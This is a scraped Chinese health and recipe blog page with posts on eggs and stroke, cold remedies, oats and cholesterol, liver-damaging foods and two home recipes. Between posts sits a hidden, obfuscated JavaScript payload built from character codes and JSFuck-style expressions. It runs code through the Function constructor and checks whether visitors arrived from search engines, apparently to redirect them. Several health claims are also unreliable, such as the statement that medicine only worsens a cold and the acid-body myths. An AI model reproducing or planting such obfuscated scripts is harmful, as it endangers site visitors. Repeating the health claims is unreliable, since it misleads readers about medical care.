冬季气温降低,受寒冷刺激后,人体毛细血管收缩,血循环外周阻力加大会引起血压升高,促进血栓形成。而老年人由于机体生理功能趋于衰老,一旦气温骤变,机体调节机能不能很快适应,更容易导致血压的升高,诱发脑中风。

鸡蛋可预防中风

鸡蛋我们经常吃,如果说吃鸡蛋能防中风,你信吗?还别不信,11月1日发表在《美国营养学院学报》上的一项研究称,每天吃一个鸡蛋,可以将罹患中风的风险降低约12%!


每天吃一个鸡蛋可以将患中风的风险降低约12%

美国流行病学数据研究所研究人员对1982年至2015年的多项相关研究进行了分析,同时观察了不同食物如何影响人的心脏和血管状态。结果显示:

1、每天吃一个鸡蛋,中风风险平均降低约12%;

2、男性中风风险下降15%,女性中风风险下降8%;

3、吃鸡蛋对亚洲国家居民健康最有效!

鸡蛋可补全身

不要小看这小小的一颗鸡蛋,它能发育出小鸡的五脏器官,孕育新的生命,这就是它安全且营养全面最好的证明。

每天一个鸡蛋,对于健康人来说,不但不会因为其中的胆固醇而增加冠心病和中风的风险,还是对我们全身上下最好的一种滋补。

1.肌肉关节:蛋白和钙营养肌肉护关节

能称为优质蛋白的食物不多,鸡蛋就是一个。它蕴含的氨基酸全面、而且好吸收,对增加我们肌肉的坚实程度特别有帮助。

肌肉控制我们的运动,更强有力的保护着我们的关节,如果肌肉退化,关节的负担就会成倍增加。鸡蛋中丰富的蛋白质和钙质,正是对我们的肌肉和关节最好的营养。

2.大脑:胆碱营养神经、防痴呆

鸡蛋中丰富的胆碱是合成大脑神经递质——乙胆碱的必要物质,同时也是细胞膜的重要成分,有助于营养脑神经、提高记忆力、防止痴呆,使注意力更集中。

同时起作用的,还有卵磷脂和类固醇,这些都是大脑所需的关键物质。

3.血管:降低血管年龄

美国营养学家和医学工作者从鸡蛋、核桃、猪肝中提取卵磷脂,每天给患心血管病人吃4~6汤匙。 3个月后,患者的血清胆固醇显着下降,获得满意效果。

4.眼睛:叶黄素玉米黄素防病变

蛋黄中富含叶黄素、玉米黄素这两种抗氧化物质,它们的存在可以有效的帮助延缓和预防老年性黄斑病变,除了这两种物质,鸡蛋还含有大家熟悉的维生素A,可以维持皮肤光滑和视力健康。


鸡蛋可以补全身

5.心脏:预防心脏病

我们说胆碱和维生素B12对我们的心脏好,具体是怎么好呢?

高半胱氨酸是血液中的一种氨基酸,这种氨基酸往往与心脏病发病风险的升高紧密相关,而胆碱在高半胱氨酸的分解中起到重要的作用,同时维生素B12对维持正常的免疫功能非常重要,也有助于预防心脏病。

6.肝脏:促进肝细胞再生

肝脏是我们人体最大的代谢器官,肝脏细胞的健康尤其重要。鸡蛋中的蛋白质对肝脏组织损伤有修复作用。蛋黄中的卵磷脂可促进肝细胞的再生。其还可提高人体血浆蛋白量,增强肌体的代谢功能和免疫功能。

7.全身:提高免疫力抗衰老

鸡蛋中维生素、矿物质的含量和种类都十分丰富,包括了所有的B族维生素、维生素A、维生素D、维生素E、维生素K和微量的维生素C。

尤其富含维生素B1、B2,它们都有利于身体的能量代谢、抗衰老,维持正常的免疫力。

鸡蛋吃法排行榜

第1名:带壳水煮蛋

第2名:水煮荷包蛋

第3名:蛋花汤和蒸蛋

带壳水煮蛋不加一滴油、烹调温度不高、蛋黄中的胆固醇也没被氧化,因此是对心脏、血管最有益的吃法。

每天吃1个鸡蛋,能抵挡这个冬天最凶猛的中风,还能护心、护关节……长期坚持下来,比偶尔吃什么营养品更实在,赶紧告诉您更多的朋友吧!

2021-02-02 / by / in
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,51,52,55,54,57,72,84,77,76,60,34,48,112,47,63,38,95,43,85,67,119,83,113,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+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2021-02-01 / by / in , ,
地三鲜经典家常菜 营养丰富 色香味味美(视频)

家常菜/家常菜地三鲜/茄子/土豆/尖椒/3种菜

提起地三鲜,大家都知道是东北传统家常菜,它的食材是由茄子、土豆和尖椒3种菜制作而成,我们今天就给大家分享白吃不厌的这道地三鲜。

地三鲜

食材:

土豆 1个,茄子 250克,甜椒 2个,青椒 2个,葱 2汤匙,大蒜 1瓣,

调料:

蚝油 2汤匙,酱油 1汤匙,白醋 2茶匙,玉米淀粉 2汤匙,水 适量,食用油 500毫升,食用油 2汤匙,玉米淀粉+水 1茶匙,盐 少许,胡椒粉 少许

做法:

1. 准备工作:a. 茄子切滚刀块,放入少许白醋和淀粉 b. 土豆切滚刀块 c. 青红椒切块

2. 炸三鲜:锅中放油,将锅加热至高温, 将土豆放入,炸至出现金黄色后捞出。然后加入茄子,待茄子出现金黄色后,放入青红椒炸一会儿,捞出沥干。

3. 成菜:另起锅,锅中放入少许油,调低至中火,加入葱末和蒜末,蚝油,酱油中翻炒一会儿,倒入一些水和玉米淀粉的混合物,将所有炸好的食材放入,大火翻炒均匀即可。

2021-02-01 / by / in ,
美国科学家揭露!感冒后必做的9件事(非常实用)

感冒/感冒真相/美国科学家 感冒真相

冬春季节,人类最容易感冒,疫情当下感冒更是大家关注的焦点,感冒良方开始受到关注。

那么感冒到底是怎么回事、感冒后应该怎么办,美国最新研究为我们揭示了这一系列问题的答案。

一、感冒的三个真相

美国威斯康星大学医学与公共卫生学院2010年10月发布的一份《感冒白皮书》,为我们揭露了有关感冒的三个“一”真相。

第一个“一”:感冒是一种由病毒引起的上呼吸道感染综合症,有超过100种以上的病毒可能诱发感冒;

第二个“一”:一般来说,感冒的症状会持续一星期,不论服药与否;

第三个“一”:感冒的起点,应该是出现症状的一天前,此时病毒已经在你的体内驻扎。

更确切地说,感冒病毒会在体内潜伏18—48个小时,然后突然爆发。最早出现的症状主要包括咽喉肿痛、打喷嚏、鼻塞流涕、身体疲倦。在英文中,由于“感冒”和“寒冷”为同一词,很多人都觉得感冒是“冻出来的”。事实并非如此。不管你是衣服穿得太少、光脚走在地上还是头发没吹干就出门,这些都不会导致你感冒,但是会导致抵抗力下降,让病毒们有机可乘。 ”美国注册护理师菲利斯·布朗这样说,相比之下,干燥更容易带来感冒,因为身体黏膜的抗病毒能力会因为缺水而下降。

感冒攻击每个人的次数也不一样。根据美国疾病预防控制中心的统计,儿童每年会感冒8—10次,上学的孩子会达到12次之多,这不是因为他们抵抗力差,而是因为孩子们关系更亲密,病毒传播的机率大。相比来说,“冷漠”的成人们每年得感冒2—4次,女性多于男性,30岁左右的女性最易中招,因为她们是照顾孩子的主力军。年过60以后,感冒次数会减少,平均每年1次。

二、乱吃药不如休息好

《感冒白皮书》同时指出,很多人并不知道,感冒其实没得治。有些人会服用抗生素,其实抗生素根本不能消灭病毒,胡乱吃药可能会加重病情。感冒药的主要功效是缓解症状,让你感觉好受点、休息好点,但并不能缩短病程。那么,究竟哪些事情是感冒后必须做的?美国《健康播报网》认为,以下9件事必不可少。

第一步:找一张床

感冒后,最好给自己找张舒服点的床躺下来。不要想着去上班,也不要强忍着出去聚会、玩乐或者运动。解放军总医院呼吸科主任刘又宁说,睡觉就是“最好的感冒药”,每天一定要保证8小时睡眠。如果可以的话,最好请假在家休息1—2天,这样可以少将疾病传染给他人。


果汁富含维生素C

第二步:补点维生素C

不管是服用维生素C补充剂,还是吃点富含维C的水果,比如枣、橙子、猕猴桃、橘子、柚子等,都能起到缓解感冒症状的作用。一般来说,酸味重的水果维C含量都不少。喝橙汁在补维C的同时,还能消除口腔中的不适感。


巧克力

第三步:吃块黑巧克力

它不仅能补充抗氧化剂,英国伦敦大学的研究还显示,其中所含的可可碱有止咳功效。

第四步:打开加湿器

秋冬季节干燥的空气会让呼吸道感到不适,在床边或沙发边放置加湿器,可以让你呼吸更顺畅。使用前,最好彻底清洗一下,以免病毒通过其散播。


流质食物

第五步:吃流质食物

热汤和热粥都是不错的选择。几百年来都流传着鸡汤治感冒的说法,英国学者发现这是有道理的,因为鸡汤中的某些成分可以减少咳嗽,而且热汤和热粥的蒸汽也有助于缓解鼻塞。

大杯水

第六步:换个大水杯

保证每天喝2000毫升水,其中有一部分最好是电解质饮料。

第七步:远离乳制品

刘又宁表示,奶酪等较难消化的奶制品,感冒时最好别吃,但是可以适当喝些牛奶。如果胃口不好,可以喝些酸奶。

第八步:服用非处方药

布洛芬、扑热息痛或止咳糖浆等非处方药都能减轻感冒的症状。刘又宁说,虽然这些药不能抗病毒,但能让你感觉好受些。


耐心等它过去

第九步:耐心等它过去

你的病需要7天左右才会自行消失。但如果症状一直持续或急剧恶化,最好去医院请医生诊断。

三、对付感冒三件宝

感冒虽然不是大病,但持续不断的症状却让很多人坐立难安。对此,《感冒白皮书》针对喉痛、咳嗽、鼻塞三大症状,给出了缓解的小窍门。

喉痛:淡盐水。将7.5克盐溶解在250毫升温水中,缓慢漱口可以缓解咽喉肿痛,每隔6—8小时漱口一次。不要使用刺激性的漱​​口水,它们可能会加剧呼吸道干燥。吞咽较硬的食物,最好慢些,以免划伤咽部。如果声音沙哑,就避免在嘈杂的环境中说话或大声叫喊。还可以准备一些含片或喷雾,症状较重时使用。

咳嗽:止咳糖浆。咳嗽是身体清除外源性物质的一种手段,但剧烈的咳嗽会影响睡眠或导致胸痛。最好的办法是,在咳嗽剧烈的时候喝点止咳糖浆。

鼻涕:热蒸汽。擤鼻涕的时候最好使用软纸巾,这样可以防止鼻子被蹭破。擤鼻涕切忌太用力,程度的标准是以耳朵听不到嗡嗡声为宜,以免对耳膜造成损害。如果鼻涕难以擤出,可以“闻闻”热蒸汽或薄荷油,或使用滴鼻液。

感冒其实没得治,无论是否吃药病情最多持续一周,吃药只会使病情加重。

四、感冒后必做的9件事。

多睡觉;
补充维C;
吃块黑巧克力;
打开加湿器;
吃流体食物;
多喝水;
远离乳制品;
服用非处方药;
耐心等它过去。

2021-02-01 / by / in , ,
专业大厨分享老北京酱牛肉 酱香浓郁 筋软肉酥 超级入味

酱牛肉/老北京酱牛肉

酱牛肉的做法很多,但是想做到香味浓郁、筋软肉酥可不容易,今天专业大厨分享老北京酱牛肉的做法,快快学起来吧。

酱牛肉其实家家都会做,但味道各不相同。这次我们主要把步骤分为腌制和卤制,腌制要放冰箱里24小时,把酱全部吃进肉里!卤制小友们可以按照小亮师傅的配方,只需六种料:白芷、白蔻、小茴香、花椒、大料和香叶。做出来的酱包还可以放进冰箱冻上,能再用两次。做出来的酱牛肉酱香浓郁,筋软肉酥超级入味!

材料:

牛肉前腿毽子1500克,大葱 2根,姜 15片,冰糖 15小块,

调料:

酱油适量,盐3茶匙,玉桂粉6克,黄酱200克腌制+200克炸制,白芷20克,白蔻20克,小茴香20克,花椒10克, 大料8个, 香叶10片

做法:

1. 腌制牛肉:牛肉切成三指款的条,然后倒上酱油,6克玉桂粉,200克黄酱,3茶匙的盐​​搅拌均匀后,放入冰箱腌制24-48小时。 24小时后,将肉从冰箱取出,将酱料洗净. 放入温水中,煮10-20分钟后捞出。

2. 准备香料:将白芷 20克,白蔻 20克,小茴香 20克,花椒 10克, 大料 8个, 香叶 10片混合在一起,清洗干净。

3. 成菜:锅中放色拉油,放入葱姜爆香后,倒入所有的清洗干净的调料,加入200克稀黄酱煸炒, 炒好后倒入煮牛肉的汤中,熬15- 20分钟,把所有的调料和葱姜味道熬制出来。熬好后用笊篱将所有的材料捞出来,放入冰糖煮化后,将肉放入盆中,倒入熬好的汁,放入高压锅中煮35分钟取出。最好在放入炒锅中继续煮一会儿让肉充分入味。

2021-01-31 / by / in ,
为什么多吃燕麦血脂升高?营养师解答:这吃法才能降胆固醇

健康/胆固醇/燕麦/血脂

燕麦片在市面上很常见,是一种由燕麦粒加工而成的食物,燕麦片吃起来比较方便,对人类的健康来说,它的营养价值也非常可观,所以深受人们喜爱。

“吃燕麦片可降低胆固醇,但对某些族群来说,吃多了却可能提高三酸甘油酯(TG)”。电视上的营养师这么说,反而让不少民众更困惑。燕麦是一种富含膳食纤维的全谷类,营养价值高,也含有丰富的维他命B群,照理说,应该是“百利而无一害”才对,但为什么坊间却流传着“燕麦片吃多了反而让血液中的三酸甘油酯升高”的说法?有些民众更担心,该怎么拿捏燕麦的食用分量,每天要吃多少才不会有超量的疑虑,既能降低胆固醇,但又不会引起三酸甘油酯的升高?

★事实的真相是

“吃燕麦片可以降低胆固醇”不是迷思,是经过大量的临床研究证实,但“燕麦片吃多了可能会让三酸甘油酯升高”这样的说法并不全然完整、正确。

首先,我们先来了解为何燕麦片可以降低胆固醇。正确来说,不只燕麦,只要是全谷类及五谷杂粮,常见的如糙米、紫米、薏仁、荞麦、小麦、大麦、米糠等都含有膳食纤维。

膳食纤维是指一群“广泛的”不被人体消化酵素所分解的植物多糖类,主要存在植物的细胞壁。食物学上,依照结构与功能性不同,它有很多分类,包括:纤维素、半纤维素、果胶、β-聚葡萄糖(β-glucan)、难消化玉米淀粉等,种类非常多。


麦片

膳食纤维对人体的健康效益多数都是正面影响,然而,在这么多不同的膳食纤维当中,以科学发现来说,研究文献记载,具有最多“降低血中胆固醇作用”的膳食纤维,就非“ β-聚葡萄糖”莫属。而燕麦的胚乳及麸皮含有丰富的“β-聚葡萄糖”,是其他谷类所望尘莫及的,因此,使得燕麦成为降低胆固醇饮食的首选之星。

据早安健康报道:自1966年以来,许多科学家开始陆续探讨燕麦中的“β-聚葡萄糖”与“降低血中胆固醇”的关系。研究模式包括动物实验与人体试验,基于大量科学研究发现,“β-聚葡萄糖”具有明显降低“血中总胆固醇”及“低密度脂蛋白胆固醇”(坏的胆固醇)的作用。

因此1997年“美国食品药物管理局”(FDA) 同意燕麦食品可宣称,“燕麦的水溶性纤维『β-聚葡萄糖』可以预防及降低心血管疾病的风险”。 2004年“英国卫生机关”(UK Joint Health Claims Initiative, UK JHCI)也同意以下的健康宣称,“『β-聚葡萄糖』可以降低血中胆固醇,减少心血管疾病风险”。

然而,每天要吃多少燕麦才有降低胆固醇的作用?

依据2014年的一项科学文献,由英国、澳洲、加拿大科学家Whitehead等人跨国团队发表的研究,该研究使用“文献统整后设分析”(Meta-analysis),分析28项人体临床研究的数据,结果指出,“每天至少摄取3公克的β-聚葡萄糖(大约等于2杯,每杯各30公克之生燕麦片),『血中之总胆固醇』(T-CHL)可预期降低11.6毫克, 『LDL低密度脂蛋白』(坏的胆固醇)可预期降低10毫克。而『HDL高密度脂蛋白』(好的胆固醇)及『三酸甘油酯』(TG)则不会受到影响”。

大量的研究结果亦促使美国主管卫生机关“食品药物管理局”(FDA),修订并增加燕麦类产品“每日建议食用量”的健康宣称。美国FDA 于2016年4月份公告的“联邦规章”(The Code of Federal Regulations Title 21),同意以下宣称,“燕麦(oat bran)大约含5%的『β-聚葡萄糖』,每日摄取超过3公克以上的『β-聚葡萄糖』可以降低『血中总胆固醇』及『低密度脂蛋白胆固醇』,减少心血管疾病之患病风险”。

关键概念厘清1:相较其他全谷类,燕麦的胚乳及麸皮有丰富的独特膳食纤维“β-聚葡萄糖”(β-glucan),基于大量研究证实,每天至少摄取3公克的“β-聚葡萄糖”,大约等于2杯,每杯各30公克之生燕麦片,就有发挥降低“血中总胆固醇”(T-CHL)及“低密度脂蛋白胆固醇”(LDL-C)的作用。美国及英国的卫生主管机关也同意以下健康宣称:每天适当摄取燕麦类产品,可增加“β-聚葡萄糖”摄取,有助于降低“心血管疾病”的患病风险。


麦片

★营养师小结论

燕麦含丰富的水溶性纤维“β-聚葡萄糖”(β-glucan),依大量科学研究证实,每日摄取超过3公克以上β-聚葡萄糖(约60公克重的生燕麦片),可以降低“血中总胆固醇”及“低密度脂蛋白胆固醇”,有助于降低心血管疾病的患病风险。

至于“有些人燕麦片吃多了,可能会让三酸甘油酯增加”,这样的说法其实是过于片段的、不完整的。我们必须考量燕麦本身是主食类,以同样一份主食类来比较,煮熟的即食燕麦片(约20公克)约含有14公克的总碳水化合物及约9公克的膳食纤维,而白饭(约50公克)的总碳水化合物约达20公克,膳食纤维约0.3公克。

因此,我们可别以为燕麦片的好处多多,认为一份燕麦的膳食纤维是一份白饭的30倍,就毫无节制的增加摄取。因为我们也不能忽略,“燕麦片所含的淀粉是一般白饭2/3的量”。因此,当增加燕麦摄取的同时,其他主食类也要相对减少,如此一来,整体的糖类例才能控制在每日总热量60%以下的合理范围。

正确来说,应该是“吃燕麦片可以降低胆固醇,但吃燕麦同时,应取代相同的主食类,并注意一整天的主食类的份数是否超量,如果超量,就可能使三酸甘油酯上升。”


麦片

★你可以这样做

每天吃适量的燕麦片,有助于降低“血中的总胆固醇”与“低密度胆固醇-LDL”。美国FDA建议,每日至少摄取3公克的水溶性纤维“β-聚葡萄糖”,相当于60公克的生燕麦片,即可发挥降低血中总胆固醇的作用。

不要忽略燕麦也是主食,增加燕麦同时,也要减少其他主食类摄取,特别是精致单糖与精致加工的淀粉,同时避免过度饮酒、减少含糖饮料的饮用。

本身有高三酸甘油酯(空腹>150毫克)或有代谢症候群特性的朋友,平日就要做好“主食类替换的平衡原则”。以燕麦片为例:

1份主食类 = 50公克白饭 = 燕麦片20公克。

如果中餐吃了一碗燕麦粥(加了3份燕麦片60公克),事实上就等于吃了2/3碗的白饭,这时同一餐就要避免再吃其他的主食类(如面条、面包、蛋糕、饺子等),尤其是根茎类植物,更让人容易忽略淀粉的存在,如南瓜、芋头、地瓜、莲藕等,以避免一日的“总碳水化合物”摄取过量。


燕麦

另外,近年燕麦片降低胆固醇的健康知识,形成一股风潮,也带动食品业者的商机。许多食品业者在产品加了燕麦片,宣称有助于降低血中总胆固醇,然而实质上,为了配合商品特性(常见如牛奶、面粉、饼干、饮品等),燕麦片经过多次加工,里面所含的β-聚葡萄糖分子量变小,黏度也跟着下降。 2010年加拿大科学家Wolever等人在研究指出,分子量较小的β-聚葡萄糖(分子量小于400),降低胆固醇的作用也可能降低。

值得注意的是,市面上宣称加入燕麦的产品越来越多,而这些产品本身也包含精致单糖、奶油或香料等食品添加物,反而增多了热量、油脂及多余糖分。因此,还是建议以最原始、加工程度越少的燕麦片为优先选择,可以确保摄取较大分子的“β-聚葡萄糖”,以利燕麦发挥最佳的保健效果。

2021-01-31 / by / in
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2021-01-30 / by / in , , ,
5种食物,吃一次,伤肝三天,提醒家人 千万少吃!

肝脏功能/人体代谢/5种食物伤肝

肝脏是人体的重要器官,因此保护肝脏对健康起到至关重要的作用,决不能忽视。

中医认为,肝与胆相为表里,开窍于目,肝主藏血,肝主疏泄,有贮藏和调节血液、排毒的功能。人体主要是靠肝脏来代谢的 ,肝脏的主要功能,是分泌胆汁、储藏动物淀粉,调节蛋白质、脂肪和碳水化合物的新陈代谢等。还有解毒、造血和凝血作用。肝脏还是人体内最大的解毒器官,体内产生的毒物、废物,吃进去的毒物、有损肝脏的药物等等也必须依靠肝脏解毒。

需要注意的是,肝脏是一个脆弱的器官,如保护不好便可致病。病毒侵入肝脏后,肝脏的毛细血管通透性增高,肝细胞变性肿胀,肝脏内出血,炎性细胞浸润,导致肝脏肿大,正常功能衰退。大部分肝病可治愈,但少数迁延不愈,变成慢性肝炎。

这5种食物,吃一次,伤肝三天,告诉身边的人千万要少吃!


肉汤 

1、肉汤

含丰富的嘌呤,是各种瘦肉精及化工饲料毒素的集散地。过量食用是各种急慢性疼痛的最主要罪魁祸首,是血管硬化的最直接诱因,是各种结石的最大加工厂。但同时也是发热量最多的食物,适量食之能补气滋阴壮阳。

过多的摄入大鱼大肉这些酸性食物,易使人们产生酸性体质。而人体无法承受血液中酸碱度激烈的变化(人体天生是弱碱性的,人体组织的正常PH值应是在7-7.4,血液的正常PH值是在7.35-7.45),于是,身体就会动用两种主要的碱性物质―-钠和钙―-加以中和。当体内的钠用光了的时候,就会启用身体内的钙,所以,过量摄入大鱼大肉而不注意酸碱平衡,将导致钙的大量流失。


油条 

2、油条

油条中含有大量膨松剂明矾,无论是明矾(硫酸铝钾)本身,还是产生的氢氧化铝,都含有铝元素,铝是一种低毒、非必需的微量元素,是引起多种脑疾病的重要因素。它是多种酶的抑制剂,其毒性能影响蛋白质合成和阻滞神经介质的传导。长期过量摄入铝,可导致老年痴呆。按照世卫组织的要求,一个50公斤体重的人,每日的铝摄入量不应超过50毫克。

油条属于高温油炸食品,油温达1900C,并且油是反复使用的,会造成油脂老化色泽变深,粘度变大,异味增加;油脂中所含的各种营养物质如必需脂肪酸、各种脂溶性维生素ADE等成分,基本或全部被氧化破坏;不饱和脂肪酸发生聚合,形成二聚体、多聚体等大分子化合物,这些物质不易被机体消化吸收。

另外,油条中还含有食碱碳酸钠,无毒,但是多吃会破坏体内的酸碱平衡。

美国研究发现早餐吃油条是最大营养误区。过量是脑病与肝病的主要帮凶。


盐 

3、盐

科学家们研究的结果表明:盐能使人体“水化”,就是说盐对水有某种吸附力,人体内盐分多了,要求水分也相应地增加,从而使过多的水分滞留在体内,因此引起高血压;大量饮用开水会冲淡胃酸的正常浓度而引起消化不良、食欲不振、杀菌作用降低等,导致胃肠道感染——拉肚子。盐的高度富集会刺激胃黏膜,可能会引发胃癌;还会加重对肾的负担重,引起肾病和尿毒症。

世卫组织建议每人日摄入量在6克以下,我国居民平均摄入量为10-15克,远远高于此数值。饮食中要坚持要少盐多醋,不仅要注意在食物中少放盐,也要注意控制看不见的“盐”,如咸菜、酱菜、咸鸭蛋等腌渍食品。


白酒 

